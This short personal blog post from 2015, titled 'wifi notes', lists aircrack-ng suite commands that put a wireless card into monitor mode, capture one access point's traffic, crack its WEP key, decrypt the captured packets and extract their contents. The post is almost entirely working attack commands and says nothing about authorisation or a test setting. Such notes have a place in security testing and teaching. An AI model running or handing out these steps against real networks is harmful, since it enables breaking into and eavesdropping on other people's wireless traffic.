Friday, May 29, 2015

wifi notes

Enable WiFi, but disable networking.

List available interfaces
sudo airmon-ng

Start monitor mode, assuming wlan0 appears above, substitute alternatives
sudo airmon-ng start wlan0

See what's going on, scanning not saving, note channel, ssid and APs MAC
sudo airodump-ng mon0

fix channel 11, AP mac 00:, and save to a file called SSID (change the name):
sudo airodump-ng -c 11 --bssid 00:00:00:00:00:00 -w SSID mon0

crack WEP key, with only one AP in the file, it'll be selected as target, substitute pcap names
aircrack-ng SSID*.cap

decrypt the pcap, substitute key and AP's MAC
airdecap-ng -w Key-from-crack -b 00:00:00:00:00:00 SSID-##.cap

view the content with foremost or chaosreader

No comments:

Post a Comment